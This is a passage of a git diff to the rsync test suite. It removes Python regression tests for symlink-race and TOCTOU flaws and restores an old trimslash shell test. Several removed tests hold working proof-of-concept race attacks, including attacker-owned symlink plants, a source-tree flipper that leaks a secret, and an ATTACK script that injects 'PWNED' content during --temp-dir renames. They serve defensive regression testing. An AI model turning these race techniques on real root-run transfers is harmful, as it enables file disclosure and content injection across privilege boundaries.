SCRATCHDIR, SRCDIR, TOOLDIR, rmtree, test_fail, test_skipped\n-\n-\n-def run_helper(args, label):\n-    proc = subprocess.run([str(TOOLDIR / 't_symlink_secure'), *args])\n-    if proc.returncode == 77:\n-        test_skipped(f\"t_symlink_secure {label} skipped\")\n-    if proc.returncode != 0:\n-        test_fail(f\"t_symlink_secure {label} reported failures (see stderr above)\")\n-\n-\n-# Fake-super only stores symlinks as placeholder files -- the surface this PoC\n-# exploits -- where symlink xattrs are unavailable; elsewhere (e.g. FreeBSD)\n-# do_symlink() makes a real symlink and there is no escape to demonstrate.\n-# Mirror do_symlink()'s compile-time guard (and the helper's\n-# TEST_SYMLINK_PLACEHOLDER) so we set up and assert only what applies here. The\n-# device (do_mknod) placeholder is unconditional, so it is always exercised.\n-try:\n-    _config_h = (TOOLDIR / 'config.h').read_text()\n-except OSError:\n-    _config_h = ''\n-symlink_placeholders = ('#define NO_SYMLINK_XATTRS 1' in _config_h\n-                        or '#define NO_SYMLINK_USER_XATTRS 1' in _config_h)\n-\n-\n-# --- PoC tree: pre-fix fallback escapes -------------------------------------\n-poc = SCRATCHDIR / 'poc'\n-pmod = poc / 'module'\n-pout = poc / 'outside'\n-rmtree(poc)\n-pmod.mkdir(parents=True)\n-pout.mkdir(parents=True)\n-(pout / 'secret_nod').write_text(\"POC_VICTIM_NOD\\n\")\n-os.symlink('../outside/secret_nod', pmod / 'nodpath')\n-if symlink_placeholders:\n-    (pout / 'secret_sym').write_text(\"POC_VICTIM_SYM\\n\")\n-    os.symlink('../outside/secret_sym', pmod / 'sympath')\n-\n-run_helper(['--poc', str(pmod)], '--poc')\n-\n-# Independent confirmation the PoC really escaped the module.\n-if symlink_placeholders and (pout / 'secret_sym').read_text().strip() != \"VULN_SYM_PAYLOAD\":\n-    test_fail(\"PoC did not write through the symlink for do_symlink\")\n-if (pout / 'secret_nod').stat().st_size != 0:\n-    test_fail(\"PoC did not truncate through the symlink for do_mknod\")\n-\n-\n-# --- Regression tree: fixed wrappers refuse the escape ----------------------\n-fix = SCRATCHDIR / 'fix'\n-fmod = fix / 'module'\n-fout = fix / 'outside'\n-rmtree(fix)\n-(fmod / 'sub').mkdir(parents=True)\n-fout.mkdir(parents=True)\n-(fout / 'secret_nod').write_text(\"VICTIM_NOD\\n\")\n-(fout / 'secret_nod2').write_text(\"VICTIM_NOD2\\n\")\n-os.symlink('../outside/secret_nod', fmod / 'nodpath')\n-os.symlink('../../outside/secret_nod2', fmod / 'sub' / 'nodpath2')\n-\n-checks = [\n-    ('secret_nod',  \"VICTIM_NOD\",  \"fixed do_mknod_at escaped (bare)\"),\n-    ('secret_nod2', \"VICTIM_NOD2\", \"fixed do_mknod_at escaped (slashed)\"),\n-]\n-if symlink_placeholders:\n-    (fout / 'secret_sym').write_text(\"VICTIM_SYM\\n\")\n-    (fout / 'secret_sym2').write_text(\"VICTIM_SYM2\\n\")\n-    os.symlink('../outside/secret_sym', fmod / 'sympath')\n-    os.symlink('../../outside/secret_sym2', fmod / 'sub' / 'sympath2')\n-    checks = [\n-        ('secret_sym',  \"VICTIM_SYM\",  \"fixed do_symlink_at escaped (bare)\"),\n-        ('secret_sym2', \"VICTIM_SYM2\", \"fixed do_symlink_at escaped (slashed)\"),\n-    ] + checks\n-\n-run_helper([str(fmod)], 'regression run')\n-\n-# Independent confirmation nothing outside the module was touched.\n-for name, want, what in checks:\n-    if (fout / name).read_text().strip() != want:\n-        test_fail(what)\ndiff --git a/testsuite/symlink-race-dest_test.py b/testsuite/symlink-race-dest_test.py\ndeleted file mode 100644\nindex 7b500dd..0000000\n--- a/testsuite/symlink-race-dest_test.py\n+++ /dev/null\n@@ -1,88 +0,0 @@\n-#!/usr/bin/env python3\n-# Destination chdir symlink defense (cross-uid) -- ABSOLUTE destination.\n-#\n-# A non-daemon receiver chdir()s into the operator-named destination.  change_dir()\n-# resolves it with open_no_attacker_symlinks: it follows the operator's/root's\n-# OWN symlinked dest (the /backup->/mnt/disk admin pattern) but REFUSES one owned\n-# by another uid, closing the dest-chdir TOCTOU -- an attacker who races the named\n-# destination component from a directory to a symlink->outside can no longer move\n-# the receiver's CWD, and every file it then creates, out of the tree.  The\n-# ownership check is timing-independent, so a static attacker-owned plant subsumes\n-# the race.\n-#\n-# Cross-uid is the real threat: root runs `rsync -a .../dest/sub/` over a directory\n-# where an unprivileged user planted the `sub` component.  Requires root.  This is\n-# the absolute-destination variant; symlink-race-relative-dest is the companion.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(simulates 'root runs rsync' over an unprivileged user's dir)\")\n-\n-ATT_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            ATT_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-# --- attack: dest/sub is an ATTACKER-owned symlink (absolute path) ------------\n-base = SCRATCHDIR / 'destchdir'\n-src = base / 'src'\n-dest = base / 'dest'\n-outside = base / 'outside'\n-rmtree(base)\n-(src / 'sub').mkdir(parents=True)\n-for i in range(4):\n-    (src / 'sub' / f'f{i}').write_text(\"payload\\n\")\n-outside.mkdir(parents=True)\n-dest.mkdir(parents=True)\n-os.symlink(outside, dest / 'sub')               # attacker-owned dest component\n-os.lchown(dest / 'sub', ATT_UID, ATT_UID)\n-\n-proc = subprocess.run(\n-    rsync_argv('-a', f'{src}/sub/', f'{dest}/sub/'),\n-    stdout=subprocess.DEVNULL,\n-    stderr=subprocess.PIPE,\n-    text=True,\n-)\n-\n-if proc.returncode == 0:\n-    test_fail(\"attacker-owned destination symlink was not rejected\")\n-if \"refusing to follow a symlink owned by an untrusted user\" not in proc.stderr:\n-    test_fail(\n-        \"untrusted destination symlink failure omitted the actionable \"\n-        f\"diagnostic: {proc.stderr!r}\"\n-    )\n-\n-escaped = sorted(p.name for p in outside.iterdir())\n-if escaped:\n-    test_fail(\n-        \"destination chdir followed an ATTACKER-owned symlink: the receiver \"\n-        f\"wrote files OUTSIDE the tree ({escaped}). change_dir() must refuse a \"\n-        \"dest symlink not owned by uid 0 or the euid.\")\n-\n-# --- admin pattern: the operator's own (root-owned) symlinked dest still works -\n-real = base / 'realsub'\n-real.mkdir()\n-os.unlink(dest / 'sub')\n-os.symlink(real, dest / 'sub')                  # root-owned symlinked dest\n-\n-subprocess.run(rsync_argv('-a', f'{src}/sub/', f'{dest}/sub/'),\n-               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-if not (real / 'f0').is_file():\n-    test_fail(\n-        \"a root-owned symlinked destination (the /backup->/mnt/disk admin \"\n-        \"pattern) was NOT followed -- the cross-uid defense must still follow \"\n-        \"the operator's own symlinked dest.\")\ndiff --git a/testsuite/symlink-race-relative-dest_test.py b/testsuite/symlink-race-relative-dest_test.py\ndeleted file mode 100644\nindex cf70435..0000000\n--- a/testsuite/symlink-race-relative-dest_test.py\n+++ /dev/null\n@@ -1,85 +0,0 @@\n-#!/usr/bin/env python3\n-# Relative-destination chdir symlink defense (cross-uid).\n-#\n-# A non-daemon receiver chdir()s into the operator-named destination.  change_dir()\n-# now resolves it (relative or absolute) with open_no_attacker_symlinks: it\n-# follows the operator's/root's OWN symlinked dest (the /backup->/mnt/disk admin\n-# pattern) but REFUSES one owned by another uid, closing the dest-chdir TOCTOU --\n-# an attacker who races the operator-named dest from a directory to a\n-# symlink->outside can no longer redirect the receiver's writes out of the tree.\n-# (The ownership check is timing-independent, so a static attacker-owned plant\n-# subsumes the race.)\n-#\n-# Cross-uid is the real threat: root runs `rsync -a src/ dest/` from a directory\n-# where an unprivileged user planted `dest`.  Requires root.  This is the\n-# relative-destination variant; symlink-race-dest is the absolute companion.\n-# Found by Omar Elsayed.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(simulates 'root runs rsync -a src/ dest/' over an \"\n-                 \"unprivileged user's directory)\")\n-\n-ATT_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            ATT_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-def run(cwd):\n-    subprocess.run(rsync_argv('-a', 'src/', 'dest/'), cwd=str(cwd),\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-\n-# --- attack: a relative dest that is an ATTACKER-owned symlink must be refused -\n-base = SCRATCHDIR / 'destchdir-rel'\n-src = base / 'src'\n-dest = base / 'dest'\n-outside = base / 'outside'\n-rmtree(base)\n-(src / 'sub').mkdir(parents=True)\n-for i in range(4):\n-    (src / 'sub' / f'f{i}').write_text(\"payload\\n\")\n-outside.mkdir(parents=True)\n-os.symlink(outside, dest)            # operator-named relative dest, planted...\n-os.lchown(dest, ATT_UID, ATT_UID)    # ...by a non-root attacker\n-\n-run(base)\n-\n-escaped = sorted(p.name for p in outside.iterdir())\n-if escaped:\n-    test_fail(\n-        \"relative destination chdir followed an ATTACKER-owned symlink: the \"\n-        f\"receiver wrote files OUTSIDE the tree ({escaped}). change_dir() must \"\n-        \"refuse a relative dest symlink not owned by uid 0 or the euid.\")\n-\n-# --- admin pattern: the operator's own (root-owned) symlinked dest still works -\n-base2 = SCRATCHDIR / 'destchdir-rel-admin'\n-src2 = base2 / 'src'\n-real = base2 / 'realdest'\n-rmtree(base2)\n-(src2 / 'sub').mkdir(parents=True)\n-(src2 / 'sub' / 'f0').write_text(\"payload\\n\")\n-real.mkdir(parents=True)\n-os.symlink(real, base2 / 'dest')     # root-owned symlinked dest (admin pattern)\n-\n-run(base2)\n-\n-if not (real / 'sub' / 'f0').is_file():\n-    test_fail(\n-        \"a root-owned symlinked destination (the /backup->/mnt/disk admin \"\n-        \"pattern) was NOT followed -- the cross-uid defense must still follow \"\n-        \"the operator's own symlinked dest.\")\ndiff --git a/testsuite/symlink-race-source_test.py b/testsuite/symlink-race-source_test.py\ndeleted file mode 100644\nindex 7eba52a..0000000\n--- a/testsuite/symlink-race-source_test.py\n+++ /dev/null\n@@ -1,121 +0,0 @@\n-#!/usr/bin/env python3\n-# Source-tree parent-component symlink race (TOCTOU) -- scenarios 1 & 3.\n-#\n-# An unprivileged user who controls a subtree of the SOURCE races a parent\n-# directory component between a real directory and a symlink pointing OUTSIDE the\n-# source tree.  A higher-authority rsync (a root nightly backup, or a victim user\n-# copying the attacker's tree) that saw the component as a directory at scan time\n-# but follows the flipped symlink when it opens a file under it then reads a file\n-# it should not and copies its contents into the output.\n-#\n-# This is the source-side counterpart of nondaemon-symlink-race, which uses\n-# --backup-dir as a deterministic, race-free RECEIVER primitive.  The pure\n-# source-read path has no operator-config component the attacker controls:\n-# rsync's directory descent lstat()s every component with O_NOFOLLOW, so a STATIC\n-# symlink parent is detected and copied as a symlink, never followed.  The escape\n-# needs a genuine TOCTOU -- the component must be a directory when rsync scans it\n-# (so its files enter the file list) and a symlink when rsync opens those files\n-# -- so we run a flipping thread and retry for up to RACE_TIMEOUT seconds.\n-#\n-# Status: FIXED.  For default symlink handling the sender now opens each file's\n-# content through the confined held-ancestor-dirfd stack anchored at the transfer\n-# root, so a parent component flipped to a symlink->outside is refused.  The\n-# symlink-following modes (-L/--copy-links/--copy-unsafe-links/-k) still follow,\n-# and --insecure-links restores the legacy open.  The test asserts the secret\n-# does NOT leak: a leak is a hard FAIL.\n-\n-import os\n-import platform\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, rmtree, rsync_argv, rsync_supports,\n-    start_path_flipper, stop_flipper, test_fail, test_xfail,\n-)\n-\n-_CYGWIN = platform.system().startswith('CYGWIN')\n-\n-SECRET = \"OUTSIDE-SECRET-do-not-copy\"\n-NFILES = 64\n-\n-base = SCRATCHDIR / 'srcrace'\n-src = base / 'src'\n-outside = base / 'outside'\n-dest = base / 'dest'\n-\n-rmtree(base)\n-# The real-directory state of the flipping component, with in-tree dummy files.\n-realsub = src / '.realsub'\n-realsub.mkdir(parents=True)\n-for i in range(NFILES):\n-    (realsub / f'loot{i}').write_text(\"in-tree dummy\\n\")\n-# The out-of-tree target the attacker wants rsync to read, under the same names.\n-outside.mkdir(parents=True)\n-for i in range(NFILES):\n-    (outside / f'loot{i}').write_text(SECRET + \"\\n\")\n-# 'sub' starts as the real directory; 'evil' is the escaping symlink. The flipper\n-# swaps them so 'sub' alternates directory <-> symlink->../outside.\n-os.rename(realsub, src / 'sub')\n-os.symlink('../outside', src / 'evil')\n-dest.mkdir(parents=True)\n-\n-\n-def leaked():\n-    d = dest / 'sub'\n-    if d.is_symlink() or not d.is_dir():\n-        return False\n-    for f in d.iterdir():\n-        try:\n-            if f.read_text().strip() == SECRET:\n-                return True\n-        except OSError:\n-            pass\n-    return False\n-\n-\n-# --no-inc-recursive widens the TOCTOU window: rsync scans the whole tree\n-# first (recording sub/ as a directory) and only then opens the files under\n-# it, so the flipper has the entire read phase -- 64 separate opens of\n-# sub/* -- to flip sub to a symlink. The disclosure exists with incremental\n-# recursion too; this just makes the race reliably winnable within the\n-# budget rather than depending on lucky scan/read interleaving.\n-#\n-# Pass the flag only when the rsync binary accepts it: implementations\n-# without incremental recursion (gokrazy/rsync targets protocol 27, no\n-# inc-recursive at all) reject --no-inc-recursive as an unknown option,\n-# but they already default to the safer pre-inc-recursive behaviour.\n-extra = ['--no-inc-recursive'] if rsync_supports('--no-inc-recursive') else []\n-\n-flip = start_path_flipper(src / 'sub', src / 'evil')\n-won = False\n-deadline = time.monotonic() + race_budget()\n-try:\n-    while time.monotonic() < deadline:\n-        rmtree(dest)\n-        dest.mkdir(parents=True)\n-        subprocess.run(rsync_argv('-a', *extra, f'{src}/', f'{dest}/'),\n-                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-        if leaked():\n-            won = True\n-            break\n-finally:\n-    stop_flipper(flip)\n-\n-if won:\n-    if _CYGWIN:\n-        # Cygwin emulates symlinks as special files and its open()/path\n-        # resolution does not enforce the per-component O_NOFOLLOW walk the\n-        # confined sender open relies on, so the parent-flip leak is still\n-        # observed here.  The native POSIX symlink-race tests are likewise not\n-        # enforced on Cygwin (see cygwin-build.yml); track this as a documented\n-        # Cygwin platform residual rather than a hard failure.\n-        test_xfail(\n-            f\"cygwin: source-tree parent-flip race still leaks ({SECRET!r}); the \"\n-            \"confined sender open is compiled in but Cygwin's symlink emulation \"\n-            \"does not enforce it -- documented platform residual.\")\n-    test_fail(\n-        f\"source-tree TOCTOU: content from outside the source tree ({SECRET!r}) \"\n-        \"was copied into the output -- the sender followed a parent-component \"\n-        \"symlink it should have confined.\")\n-# No leak within the race budget -> the source-side resolution was confined.\ndiff --git a/testsuite/symlink-unix-perms_test.py b/testsuite/symlink-unix-perms_test.py\ndeleted file mode 100644\nindex 9827a6b..0000000\n--- a/testsuite/symlink-unix-perms_test.py\n+++ /dev/null\n@@ -1,117 +0,0 @@\n-#!/usr/bin/env python3\n-\n-import errno\n-import os\n-import stat\n-import sys\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    assert_mode, rmtree, run_rsync, test_fail, test_skipped\n-)\n-\n-#   Put some error messages into variable to make later code more readable.\n-\n-error = 'error occurred during test of symlink access change capability: '\n-notimplemented = 'symlink Unix access change is not implemented on this system'\n-notsupported = 'symlink Unix access change is not supported on this system'\n-\n-#   Make sure that the FROMDIR and TODIR directories exist. These are the\n-#   source and destination directories, respectively, for the test.\n-\n-os.chdir(SCRATCHDIR)\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-\n-#   Create a test directory and a test file in FROMDIR for use later as symlink\n-#   targets, saving the actual names of each in a variable that will also be\n-#   used later.\n-\n-testdirectory = 'testdirectory'\n-testfile = 'testfile'\n-\n-(FROMDIR / testdirectory).mkdir(parents=True)\n-(FROMDIR / testfile).touch()\n-\n-#   See if the system permits setting Unix access permssions on symlinks.\n-#   If not, there's no point in continuing.\n-#\n-#   To test this, the following code creates a symlink in FROMDIR that points\n-#   to the test directory there. It then tries to change the Unix access\n-#   permission for that symlink. If the result is a \"not implemented\" or a\n-#   \"not supported\" error, the actual test is skipped. If any other error is\n-#   returned, the test reports failure.\n-\n-os.chdir(FROMDIR)\n-\n-os.symlink(testdirectory, 'symlink', target_is_directory=True)\n-\n-try:\n-    os.chmod('symlink', stat.S_IREAD + stat.S_IXOTH, follow_symlinks=False)\n-\n-except NotImplementedError:\n-    test_skipped(notimplemented)\n-\n-except OSError as e:\n-    if (e.errno == errno.ENOTSUP):\n-        test_skipped(notsupported)\n-    test_fail('OS' + error + f'{e}')\n-\n-except Exception as e:\n-    test_fail(error + f'{e}')\n-\n-#   The symlink access change attempt reported success. Make sure that the\n-#   Unix access permissions were actually changed. If not, the test fails.\n-\n-assert_mode('symlink', stat.S_IREAD + stat.S_IXOTH)\n-\n-#   The system can change symlink Unix access permissions. Continue ...\n-\n-os.remove('symlink')\n-\n-os.chdir(SCRATCHDIR)\n-\n-#   Create a number of symlinks to use for testing rsync.\n-#\n-#   Set the Unix access permissions for those symlinks to selected values.\n-#   The selected values have no specific agenda. However, owner read access\n-#   is always maintained to ensure that stat info is readable.\n-\n-#   The following array consists of a number of targets and associated Unix\n-#   access permissions that will be used in the actual test. The symlink\n-#   names will be of the form \"symlink-{n}\" where \"{n}\" is the array index\n-#   for each symlink created.\n-\n-symlinks = [\n-    [ testdirectory, 0o770 ],\n-    [ testfile, 0o0444 ],\n-    [ testfile, 0o0711 ],\n-    [ testfile, 0o0777 ],\n-    [ testdirectory, 0o7777 ],\n-    [ testfile, 0o0400 ],\n-    [ testdirectory, 0o1407 ],\n-    [ testdirectory, 0o2470 ],\n-    [ testdirectory, 0o4777 ],\n-    [ testfile, 0o7777 ],\n-]\n-\n-#   Actually create the test symlinks in the source directory.\n-\n-for n, symlink in enumerate(symlinks):\n-    target, access = symlink\n-\n-    os.symlink(target, FROMDIR / f'symlink-{n}', target_is_directory=(target == testdirectory))\n-    os.chmod(FROMDIR / f'symlink-{n}', access, follow_symlinks=False)\n-\n-#   Now, use rsync to copy the source directory to the destination.\n-\n-run_rsync('-av', f'{FROMDIR}/', f'{TODIR}/')\n-\n-#   Finally, check to make sure that the Unix access permissions on the\n-#   symlinks in the destination match those in the source. The test fail\n-#   if any one doesn't match.\n-\n-for n, symlink in enumerate(symlinks):\n-    expected = stat.S_IMODE(os.stat(FROMDIR / f'symlink-{n}', follow_symlinks=False).st_mode)\n-    assert_mode(TODIR / f'symlink-{n}', expected)\ndiff --git a/testsuite/temp-dir-symlink-injection_test.py b/testsuite/temp-dir-symlink-injection_test.py\ndeleted file mode 100644\nindex f86fd94..0000000\n--- a/testsuite/temp-dir-symlink-injection_test.py\n+++ /dev/null\n@@ -1,143 +0,0 @@\n-#!/usr/bin/env python3\n-# Absolute --temp-dir parent-component symlink-race: content injection.\n-#\n-# rsync stages each transferred file as a random-named temp in --temp-dir, then\n-# finish_transfer() renames temp->final.  With an ABSOLUTE --temp-dir a root\n-# operator's rename source is a full path; a non-root attacker who can write the\n-# temp-dir tree flips a temp-dir parent between a real dir and a foreign-owned\n-# symlink -> outside, observes the random temp name in the real dir, plants\n-# outside/<name> with attacker content, and -- pre-fix -- the temp->final rename\n-# follows the flipped parent and pulls the attacker's out-of-tree file into the\n-# destination (the received file is replaced by injected content).\n-#\n-# The temp CREATE is already confined (secure_mkstemp); this pins the RENAME:\n-# do_rename_at resolves an absolute (operator) side via the ownership walk, so a\n-# foreign-owned flipped parent is refused.  RED on stock 3.4.x / --insecure-links,\n-# GREEN here.  Root+nobody gated (the cross-uid plant needs root).\n-\n-import os\n-import subprocess\n-import time\n-\n-import filecmp\n-import sys\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, find_attacker_uid,\n-    rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a temp-dir symlink owned by a non-self uid\")\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-NFILES = 40\n-PINNED = 1000000000\n-\n-base = SCRATCHDIR / 'tmpdir-inject'\n-src = base / 'src'\n-dest = base / 'dest'\n-tmproot = base / 'tmproot'\n-td = tmproot / 'td'            # the temp-dir parent the attacker flips\n-tdlink = tmproot / '.tdlink'   # symlink -> outside, swapped in for td\n-outside = base / 'outside'\n-\n-\n-def build():\n-    rmtree(base)\n-    for d in (src, dest, tmproot, outside):\n-        d.mkdir(parents=True)\n-    for i in range(NFILES):\n-        # Big payloads so the temp file lingers (an observable race window).\n-        (src / f'f{i}').write_text('LEGIT-' + 'x' * 200000 + '\\n')\n-        (dest / f'f{i}').write_text('old\\n')\n-    td.mkdir()\n-    os.symlink(str(outside), tdlink)\n-    os.lchown(tdlink, ATT_UID, ATT_UID)\n-\n-\n-def push():\n-    return subprocess.run(\n-        rsync_argv('-r', f'--temp-dir={td}', f'{src}/', f'{dest}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-\n-def injected():\n-    for i in range(NFILES):\n-        try:\n-            if (dest / f'f{i}').read_text().startswith('PWNED'):\n-                return f'f{i}'\n-        except OSError:\n-            pass\n-    return None\n-\n-\n-# Attacker: in one tight loop, plant outside/<name> for each temp name visible\n-# in the real td, then flip td <-> the foreign symlink (the symlink keeps its\n-# foreign owner across the renames).  Must observe + plant + flip concurrently\n-# with the transfer because the temp names are random per push.\n-ATTACK = (\n-    \"import os, sys, time\\n\"\n-    \"td, link, outside = sys.argv[1], sys.argv[2], sys.argv[3]\\n\"\n-    \"s = td + '.flip'\\n\"\n-    \"parent = os.getppid()\\n\"\n-    \"deadline = time.monotonic() + 300\\n\"\n-    \"while os.getppid() == parent and time.monotonic() < deadline:\\n\"\n-    \"    try:\\n\"\n-    \"        for n in os.listdir(td):\\n\"\n-    \"            if n[:1] != '.':\\n\"\n-    \"                open(outside + '/' + n, 'w').write('PWNED')\\n\"\n-    \"    except OSError:\\n\"\n-    \"        pass\\n\"\n-    \"    try:\\n\"\n-    \"        os.makedirs(td, exist_ok=True)\\n\"\n-    \"        os.rename(td, s); os.rename(link, td); os.rename(s, link)\\n\"\n-    \"        os.rename(td, s); os.rename(link, td); os.rename(s, link)\\n\"\n-    \"    except OSError:\\n\"\n-    \"        pass\\n\"\n-)\n-\n-build()\n-os.utime(td, (PINNED, PINNED))\n-before = td.stat().st_mtime_ns\n-proc = push()\n-if proc.returncode != 0:\n-    test_fail(\"positive control: clean --temp-dir transfer failed \"\n-              f\"(rc={proc.returncode}):\\n{proc.stdout or ''}\")\n-if td.stat().st_mtime_ns == before:\n-    test_fail(\n-        \"positive control: --temp-dir did not create or remove a temp file \"\n-        f\"in {td}; the test would not exercise the temp->final rename source\")\n-for i in range(NFILES):\n-    target = dest / f'f{i}'\n-    if not target.is_file():\n-        test_fail(f\"positive control: --temp-dir did not create {target}\")\n-    if not filecmp.cmp(src / f'f{i}', target, shallow=False):\n-        test_fail(f\"positive control: destination content differs for {target}\")\n-\n-atk = subprocess.Popen([sys.executable, '-c', ATTACK,\n-                        str(td), str(tdlink), str(outside)])\n-try:\n-    deadline = time.monotonic() + race_budget(15.0)\n-    while time.monotonic() < deadline:\n-        rmtree(dest)\n-        dest.mkdir()\n-        push()\n-        hit = injected()\n-        if hit:\n-            test_fail(\n-                \"absolute --temp-dir rename injection: attacker out-of-tree \"\n-                f\"content was renamed into the destination ({hit}) -- the \"\n-                \"temp->final rename followed a flipped foreign-owned temp-dir \"\n-                \"parent symlink.\")\n-finally:\n-    atk.terminate()\n-    try:\n-        atk.wait(timeout=5)\n-    except subprocess.TimeoutExpired:\n-        atk.kill()\n-        atk.wait()\n-\n-# No injection within the race budget.\ndiff --git a/testsuite/temp-dir_test.py b/testsuite/temp-dir_test.py\ndeleted file mode 100644\nindex 63c37ea..0000000\n--- a/testsuite/temp-dir_test.py\n+++ /dev/null\n@@ -1,61 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --temp-dir (-T) at depth and across directory boundaries.\n-\n---temp-dir tells the receiver to create its scratch/temp copies in DIR rather\n-than in the destination directory, then rename the finished file into place.\n-That rename crosses from the temp directory to a destination directory several\n-levels deep -- exactly the two-directory operation the path-resolution\n-restructure rewrites -- so it must be guarded at depth with the temp dir kept\n-OUTSIDE the destination tree.\n-\n-Asserts:\n-  * a transfer with --temp-dir pointing outside the dest tree reproduces the\n-    source byte-for-byte at every level;\n-  * no temp/scratch files are left behind in the temp dir or the dest tree;\n-  * a non-existent --temp-dir makes the receiver fail (so we know the option\n-    is actually consulted, not silently ignored).\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    assert_same, make_tree, rmtree, run_rsync, test_fail, walk_files,\n-)\n-\n-src = FROMDIR\n-tmp = SCRATCHDIR / 'scratch-temp'   # sibling of from/ and to/ -- outside both\n-rmtree(src)\n-rmtree(TODIR)\n-rmtree(tmp)\n-tmp.mkdir()\n-\n-make_tree(src, depth=3, data=True)\n-rels = [p.relative_to(src) for p in walk_files(src)]\n-\n-# Transfer with the temp dir outside the destination tree.\n-run_rsync('-a', f'--temp-dir={tmp}', f'{src}/', f'{TODIR}/')\n-\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'temp-dir {rel}')\n-\n-# The temp dir must be clean afterwards (every scratch file renamed away).\n-leftover = sorted(p for p in tmp.rglob('*'))\n-if leftover:\n-    test_fail(f\"--temp-dir left scratch files behind: {leftover}\")\n-\n-# No stray rsync temp files (.name.XXXXXX) anywhere in the dest tree.\n-strays = [p for p in TODIR.rglob('.*') if p.is_file()]\n-if strays:\n-    test_fail(f\"dest tree contains stray temp files: {strays}\")\n-\n-# Negative: a missing temp dir must cause a receiver failure, proving the\n-# option is honoured rather than ignored.\n-rmtree(TODIR)\n-proc = run_rsync('-a', f'--temp-dir={SCRATCHDIR}/does-not-exist',\n-                 f'{src}/', f'{TODIR}/', check=False)\n-if proc.returncode == 0:\n-    test_fail(\"--temp-dir pointing at a missing directory unexpectedly \"\n-              \"succeeded\")\n-\n-print(\"temp-dir: cross-dir rename at depth verified; missing temp dir fails\")\ndiff --git a/testsuite/trimslash.test b/testsuite/trimslash.test\nnew file mode 100644\nindex 0000000..2efaa07\n--- /dev/null\n+++ b/testsuite/trimslash.test\n@@ -0,0 +1,26 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2002 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test tiny function to trim trailing slashes.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+\"$TOOLDIR/trimslash\" \"/usr/local/bin\" \"/usr/local/bin/\" \"/usr/local/bin///\" \\\n+\t\"//a//\" \"////\" \\\n+        \"/Users/Weird Macintosh Name/// Ooh, translucent plastic/\" \\\n+\t> \"$scratchdir/slash.out\"\n+diff $diffopt \"$scratchdir/slash.out\" - <<EOF\n+/usr/local/bin\n+/usr/local/bin\n+/usr/local/bin\n+//a\n+/\n+/Users/Weird Macintosh Name/// Ooh, translucent plastic\n+EOF\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/trimslash_test.py b/testsuite/trimslash_test.py\ndeleted file mode 100644\nindex 5085822..0000000\n--- a/testsuite/trimslash_test.py\n+++ /dev/null\n@@ -1,41 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/trimslash.test.\n-#\n-# Test the tiny trimslash helper which strips trailing slashes from paths.\n-\n-import subprocess\n-\n-from rsyncfns import TOOLDIR, test_fail\n-\n-\n-INPUTS = [\n-    \"/usr/local/bin\",\n-    \"/usr/local/bin/\",\n-    \"/usr/local/bin///\",\n-    \"//a//\",\n-    \"////\",\n-    \"/Users/Weird Macintosh Name/// Ooh, translucent plastic/\",\n-]\n-\n-EXPECTED = \"\"\"\\\n-/usr/local/bin\n-/usr/local/bin\n-/usr/local/bin\n-//a\n-/\n-/Users/Weird Macintosh Name/// Ooh, translucent plastic\n-\"\"\"\n-\n-proc = subprocess.run(\n-    [str(TOOLDIR / 'trimslash'), *INPUTS],\n-    capture_output=True, text=True,\n-)\n-if proc.returncode != 0:\n-    test_fail(f\"trimslash exited {proc.returncode}\\nstderr:\\n{proc.stderr}\")\n-\n-if proc.stdout != EXPECTED:\n-    test_fail(\n-        \"trimslash output did not match expected.\\n\"\n-        f\"--- expected ---\\n{EXPECTED}\"\n-        f\"--- got ---\\n{proc.stdout}\"\n-    )\ndiff --git a/testsuite/uidlist-id0-name-leak_test.py b/testsuite/uidlist-id0-name-leak_test.py\ndeleted file mode 100644\nindex 31bf229..0000000\n--- a/testsuite/uidlist-id0-name-leak_test.py\n+++ /dev/null\n@@ -1,56 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"KI-25: send_one_list leaks the id-0 (root) name string.\n-\n-uidlist.c:send_one_list, when xmit_id0_names is negotiated, passes\n-uid_to_user(0)/gid_to_group(0) straight to send_one_name(); those 